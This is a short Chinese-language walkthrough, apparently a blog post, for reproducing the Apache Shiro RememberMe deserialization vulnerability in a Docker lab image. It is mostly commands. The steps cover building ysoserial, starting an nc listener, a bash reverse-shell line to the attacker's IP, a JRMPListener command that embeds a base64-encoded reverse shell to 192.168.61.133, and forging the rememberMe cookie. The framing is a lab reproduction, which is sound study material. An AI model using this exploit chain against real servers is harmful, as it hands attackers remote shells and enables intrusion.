下载镜像
| 1 | docker pull medicean/vulapps:s_shiro_1 |
直接运行镜像,将docker的8080端口映射到本地的 8080上
| 1 | docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1 |
获取复现需要用到的ysoserial工具
若无mvn则自行下载安装
| 1 2 3 | git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn package -D skipTests |
生成的工具在target/目录下ysoserial-0.0.6-SNAPSHOT-all.jar文件
浏览器访问,出现以下页面则证明环境搭建成功。
http://目标IP:8080
漏洞利用,在攻击机上运行nc 监听1234端口
| 1 | nc -l -p 1234 |
反弹shell指令
| 1 | bash -i >& /dev/tcp/攻击者IP/1234 0>&1 |
将指令放到 http://www.jackson-t.ca/runtime-exec-payloads.html 转换成加密后的指令
运行指令(通过 ysoserial中的JRMP监听模块,监听 6666 端口并执行反弹shell命令)
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
伪造cookie内容
| 1 | python shiro.py 攻击者IP:攻击者监听的java端口 |
POC
前台登录,注意需要勾选Remember Me ,截获数据包
使用生成的payload,替换请求中的cookie信息
查看java监听接口,nc监听接口并成功执行相关命令。



